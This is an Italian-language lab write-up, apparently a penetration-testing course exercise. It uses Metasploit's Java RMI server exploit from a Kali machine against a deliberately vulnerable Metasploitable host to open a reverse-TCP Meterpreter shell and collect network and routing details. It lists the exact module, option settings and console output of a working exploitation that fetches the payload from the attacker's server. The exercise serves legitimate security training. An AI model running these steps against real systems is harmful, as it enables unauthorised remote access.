

Sessione Meterpreter tramite Java RMI Exploit

Obiettivo

L'obiettivo dell'esercizio è attaccare una macchina Metasploitable vulnerabile, dalla macchina Kali Linux utilizzando Metasploit per ottenere una sessione Meterpreter e raccogliere informazioni riguardo la configurazione di rete e la tabella di routing.

Configurazione

Macchina attaccante: **Kali Linux** (192.168.11.111)

Macchina bersaglio: **Metasploitable** (192.168.11.112)

Servizio vulnerabile in questione: **Java RMI** (porta 1099) rilevata aperta a seguito di una scansione NMAP, questo servizio permette ad un programma java di comunicare con un altro programma java che è in esecuzione su un'altra macchina e se sfruttato da un attaccante o mal configurato può essere vulnerabile.

Metasploit

Metasploit è un framework molto potente usato per il PT, identifica e sfrutta vulnerabilità.

Avviamo Metasploit con **msfconsole**

Cerchiamo l'exploit che interessa a noi **search java rmi**

Selezioniamo l'exploit trovato **use exploit/multi/misc/java_rmi_server**

Verrà applicato un payload di default **java/meterpreter/reverse_tcp**

Configurazione delle opzioni **set RHOSTS 192.168.11.112**

set RPORT 1099

set LHOST 192.168.11.111

Il parametro **httpdelay** è settato di default 10 (secondi) è un parametro che scandisce il ritmo delle comunicazioni, limitando il carico di rete.

In questo caso il payload aspetterà 10 secondi tra ogni richiesta di comunicazione con il server. Se **httpdelay** è settato a 0 la connessione sarà più veloce perchè verranno inviate continuamente richieste dall'attaccante al server, ma la connessione sarà più rumorosa.

Settati tutti i parametri possiamo lanciare l'exploit: **exploit**

Exploit, Payload e Meterpreter

EXPLOIT: Codice che agisce su una vulnerabilità già presente in un sistema o in un programma in esecuzione per ottenere accesso non autorizzato.

PAYLOAD: Codice che viene eseguito dopo che l'exploit ha avuto successo e crea la shell ovvero la connessione tra la macchina vittima e la macchina attaccante, nel caso nostro la shell è Meterpreter

METERPRETER: Shell molto potente, avanzata, che mette a disposizione comandi avanzati e permette il controllo del sistema compromesso.

Apertura shell Meterpreter

Una volta stabilita la connessione, si ottiene una sessione Meterpreter come dimostrato in foto.

```
Module options (exploit/multi/misc/java_rmi_server):
  Name      Current Setting  Required  Description
  ----      -
  HTTPDELAY  10                  yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.11.112      yes       The target host(s), see https://docs.metaspl...
  RPORT     1099                yes       The target port (TCP)
  SRVHOST   0.0.0.0             yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080                yes       The local port to listen on.
  SSL       false               no        Negotiate SSL for incoming connections
  SSLCert   Path to a custom SSL certificate (default is randomly generated)
  URIPATH   The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  ----      -
  LHOST     192.168.11.111   yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:
  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/62DUwy
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:55159) at 2024-11-15 10:12:03 +0100

meterpreter > |
```

Passiamo dunque alla raccolta di informazioni richieste dall'esercizio sulla macchina attaccata:

- Configurazione di rete **ifconfig** mostra gli indirizzi IP e le interfacce attive.
- Tabella di Routing **route** mostra nella tabella le rotte conosciute dalla macchina per indirizzare i pacchetti.

```
meterpreter > ifconfig
```

Interface 1

```
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
```

Interface 2

```
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fef4:7634
IPv6 Netmask : ::
```

```
meterpreter > route
```

IPv4 network routes

<u>Subnet</u>	<u>Netmask</u>	<u>Gateway</u>	<u>Metric</u>	<u>Interface</u>
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

IPv6 network routes

<u>Subnet</u>	<u>Netmask</u>	<u>Gateway</u>	<u>Metric</u>	<u>Interface</u>
::1	::	::		
fe80::a00:27ff:fef4:7634	::	::		

```
meterpreter > █
```

Conclusione

Abbiamo visto come sfruttare la vulnerabilità di un'applicazione per ottenere l'accesso, illustrando i passaggi per raccogliere informazioni sul target.

Ricordando quanto sia importante una corretta configurazione e l'aggiornamento regolare di software e sistemi informatici.